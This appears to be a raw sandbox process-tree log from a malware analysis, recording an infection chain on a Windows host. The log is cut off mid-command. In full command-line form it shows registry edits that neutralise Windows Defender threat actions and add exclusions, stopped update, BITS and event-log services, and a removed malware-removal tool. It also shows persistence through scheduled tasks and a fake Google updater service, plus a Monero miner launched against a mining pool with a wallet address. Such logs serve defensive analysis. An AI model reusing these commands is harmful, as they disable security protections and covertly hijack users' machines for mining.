        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:3228
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        10⤵
        
        PID:5924
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:3536
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        12⤵
        
        PID:3152
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        10⤵
        
        PID:6432
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:6468
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        12⤵
        
        PID:6212
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        10⤵
        
        PID:4892
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:6308
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        12⤵
        
        PID:6572
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        10⤵
        
        PID:5920
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:6824
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        12⤵
        
        PID:4940
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        10⤵
        
        PID:1276
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        
        PID:6884
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6904
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        9⤵
        
        PID:1776
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        
        PID:5760
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6456
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        12⤵
        
        PID:2520
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 23:18:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS2798.tmp\Install.exe\" it /RKBdidZtAr 385118 /S" /V1 /F
        9⤵
        Creates scheduled task(s)
        
        PID:5560
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
        9⤵
        
        PID:6660
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        10⤵
        
        PID:5260
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
        11⤵
        
        PID:5796
        
        C:\Users\Admin\Pictures\gnhYbHdwp4HYZ1VZkxISzyfR.exe
        
        "C:\Users\Admin\Pictures\gnhYbHdwp4HYZ1VZkxISzyfR.exe"
        7⤵
        
        PID:1508
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3832
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:7704
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        8⤵
        Launches sc.exe
        
        PID:7848
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        8⤵
        Launches sc.exe
        
        PID:8380
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        8⤵
        
        PID:5384
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        8⤵
        
        PID:11052
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        8⤵
        
        PID:6816
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        8⤵
        
        PID:540
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        8⤵
        Launches sc.exe
        
        PID:2876
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        8⤵
        Launches sc.exe
        
        PID:7968
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        8⤵
        Launches sc.exe
        
        PID:7792
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        8⤵
        Launches sc.exe
        
        PID:2476
    - - C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
        5⤵
        
        PID:4512
      - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
        6⤵
        Creates scheduled task(s)
        
        PID:968
      - C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000257001\FirstZ.exe"
        6⤵
        
        PID:5960
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:976
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:7000
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:5936
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:5716
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:6628
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:2708
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:772
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        
        PID:7112
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        
        PID:6652
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        
        PID:5188
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        
        PID:1128
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "WSNKISKT"
        7⤵
        Launches sc.exe
        
        PID:6184
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:6692
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:4092
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "WSNKISKT"
        7⤵
        Launches sc.exe
        
        PID:2700
    - - C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe"
        5⤵
        
        PID:5436
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1000024001\taskmgr.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'taskmgr.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6124
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "taskmgr" /tr "C:\ProgramData\taskmgr.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:8896
- - C:\Users\Admin\1000006002\61718c2b18.exe
    "C:\Users\Admin\1000006002\61718c2b18.exe"
    3⤵
    PID:4232

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1160 -ip 1160
1⤵
PID:944

C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
1⤵
PID:4584
- C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe
  "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
  2⤵
  PID:4112
- - C:\Windows\Temp\546146.exe
    "C:\Windows\Temp\546146.exe" --list-devices
    3⤵
    PID:3908

C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
1⤵
PID:680
- C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe
  "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
  2⤵
  PID:3136

C:\Program Files (x86)\GameSyncLink\GameService.exe
"C:\Program Files (x86)\GameSyncLink\GameService.exe"
1⤵
PID:1960
- C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe
  "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
  2⤵
  PID:944
- - C:\Windows\Temp\93907.exe
    "C:\Windows\Temp\93907.exe" --http-port 14343 -o xmr.2miners.com:2222 -u 83dQM82bj4yY83XKGKHnbHTzqgY4FUt2pi1JS15u7rTs8v84mTU5ny5MiRoSeyduBUAQKFZ6MsvbMHYTisNeThDM3BqQ59y --coin XMR -t 1 --no-color -p x
    3⤵
    PID:5196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4316

C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
C:\Users\Admin\AppData\Local\Temp\908f070dff\explorku.exe
1⤵
PID:5924

C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
1⤵
PID:5932

C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
1⤵
PID:6128

C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS17F8.tmp\Install.exe it /QKDdidpiqZ 385118 /S
1⤵
PID:7040
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  PID:6224
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    PID:6684
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      PID:544
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:5616
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    PID:3996
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      PID:6148
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:6572
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    PID:912
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      PID:4892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:6792
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5916
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:6944
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:4900
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:1468
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7724
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7784
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:7820
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7836
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6668
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9116
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:10268
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:10532
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD 